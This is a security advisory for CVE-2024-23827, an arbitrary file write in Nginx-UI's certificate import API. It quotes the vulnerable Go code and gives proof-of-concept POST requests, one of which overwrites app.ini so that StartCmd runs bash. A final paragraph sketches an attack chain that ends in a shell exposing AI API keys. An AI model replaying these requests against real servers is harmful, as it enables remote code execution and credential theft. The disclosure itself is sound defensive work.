CVE-2024-23827: Nginx-UI: arbitrary file write via cert import leads to RCE

### Summary The Import Certificate feature allows arbitrary write into the system. The feature does not check if the provided user input is a certification/key and allows to write into arbitrary paths in the system. https://github.com/0xJacky/nginx-ui/blob/f20d97a9fdc2a83809498b35b6abc0239ec7fdda/api/certificate/certificate.go#L72 ```go func AddCert(c *gin.Context) { var json struct { Name string `json:"name"` SSLCertificatePath string `json:"ssl_certificate_path" binding:"required"` SSLCertificateKeyPath string `json:"ssl_certificate_key_path" binding:"required"` SSLCertificate string `json:"ssl_certificate"` SSLCertificateKey string `json:"ssl_certificate_key"` ChallengeMethod string `json:"challenge_method"` DnsCredentialID int `json:"dns_credential_id"` } if !api.BindAndValid(c, &json) { return } certModel := &model.Cert{ Name: json.Name, SSLCertificatePath: json.SSLCertificatePath, SSLCertificateKeyPath: json.SSLCertificateKeyPath, ChallengeMethod: json.ChallengeMethod, DnsCredentialID: json.DnsCredentialID, } err := certModel.Insert() if err != nil { api.ErrHandler(c, err) return } content := &cert.Content{ SSLCertificatePath: json.SSLCertificatePath, SSLCertificateKeyPath: json.SSLCertificateKeyPath, SSLCertificate: json.SSLCertificate, SSLCertificateKey: json.SSLCertificateKey, } err = content.WriteFile() if err != nil { api.ErrHandler(c, err) return } c.JSON(http.StatusOK, Transformer(certModel)) } ``` https://github.com/0xJacky/nginx-ui/blob/f20d97a9fdc2a83809498b35b6abc0239ec7fdda/internal/cert/write_file.go#L15 ```go func (c *Content) WriteFile() (err error) { // MkdirAll creates a directory named path, along with any necessary parents, // and returns nil, or else returns an error. // The permission bits perm (before umask) are used for all directories that MkdirAll creates. // If path is already a directory, MkdirAll does nothing and returns nil. err = os.MkdirAll(filepath.Dir(c.SSLCertificatePath), 0644) if err != nil { return } err = os.MkdirAll(filepath.Dir(c.SSLCertificateKeyPath), 0644) if err != nil { return } if c.SSLCertificate != "" { err = os.WriteFile(c.SSLCertificatePath, []byte(c.SSLCertificate), 0644) if err != nil { return } } if c.SSLCertificateKey != "" { err = os.WriteFile(c.SSLCertificateKeyPath, []byte(c.SSLCertificateKey), 0644) if err != nil { return } } return } ``` ### PoC ``` POST /api/cert HTTP/1.1 Host: 127.0.0.1:9000 Content-Length: 144 Accept: application/json, text/plain, */* Authorization: <JWT> User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Type: application/json Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,fr;q=0.7 Connection: close {"name":"poc","ssl_certificate_path":"/tmp/test","ssl_certificate_key_path":"/tmp/test2","ssl_certificate":"test","ssl_certificate_key":"test2"} ``` ```bash root@aze:~/nginx# ls -la /tmp/test* -rw-r--r-- 1 root root 4 Jan 24 13:33 /tmp/test -rw-r--r-- 1 root root 5 Jan 24 13:33 /tmp/test2 ``` It's possible to leverage it into an RCE in a senario by overwriting the config file app.ini - But it will require the app. ```bash root@aze:~/nginx# cat app.ini | grep "StartCmd" StartCmd = login ``` Then we overwrite the `StartCmd` with `bash` ``` POST /api/cert HTTP/1.1 Host: 127.0.0.1:9000 Content-Length: 980 Accept: application/json, text/plain, */* Authorization: <JWT> User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Type: application/json Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,fr;q=0.7 Connection: close {"name":"poc","ssl_certificate_path":"/root/nginx/app.ini","ssl_certificate_key_path":"/tmp/test2","ssl_certificate":"[server]\r\nHttpHost = 0.0.0.0\r\nHttpPort = 9000\r\nRunMode = debug\r\nJwtSecret = 504f334b-ac68-4fbc-9160-2ecbf9e5794c\r\nNodeSecret = 139ab224-9e9e-444f-987e-b3a651175ad5\r\nHTTPChallengePort = 9180\r\nEmail = props@pros.com\r\nDatabase = database\r\nStartCmd = bash\r\nCADir = dqsdqsd\r\nDemo = false\r\nPageSize = 10\r\nGithubProxy = dqsdqfsdfsdfsdfsd\r\n\r\n[nginx]\r\nAccessLogPath =\r\nErrorLogPath =\r\nConfigDir =\r\nPIDPath =\r\nTestConfigCmd =\r\nReloadCmd =\r\nRestartCmd =\r\n\r\n[openai]\r\nBaseUrl = \r\nToken =\r\nProxy =\r\nModel = \r\n\r\n[casdoor]\r\nEndpoint =\r\nClientId =\r\nClientSecret =\r\nCertificate =\r\nOrganization =\r\nApplication =\r\nRedirectUri =","ssl_certificate_key":"test2"} ``` ```bash root@aze:~/nginx# cat app.ini | grep "StartCmd" StartCmd = bash ``` For the new config to be applied the app needs to be restarted  ### Impact Arbitrary write/overwrite into the host file system with a risk of remote code execution if the app restarts.

An attacker who obtains any valid nginx-ui session or API token (via credential stuffing, a leaked token, or an adjacent low-privilege bug) sends a POST to /api/cert with ssl_certificate_path set to the app's own app.ini and ssl_certificate content crafted to redefine StartCmd as bash while embedding the attacker's own known JwtSecret. The AddCert handler writes this content verbatim to disk with no validation that it is an actual certificate. The attacker then triggers or waits for a service restart (e.g., via another admin action, a scheduled restart, or simply waiting for an ops team to bounce the container), at which point nginx-ui launches bash instead of its normal login flow, giving the attacker a shell as the nginx-ui process user — with access to any AI API keys, proxy configuration, and the reverse-proxy rules governing traffic to backend LLM services.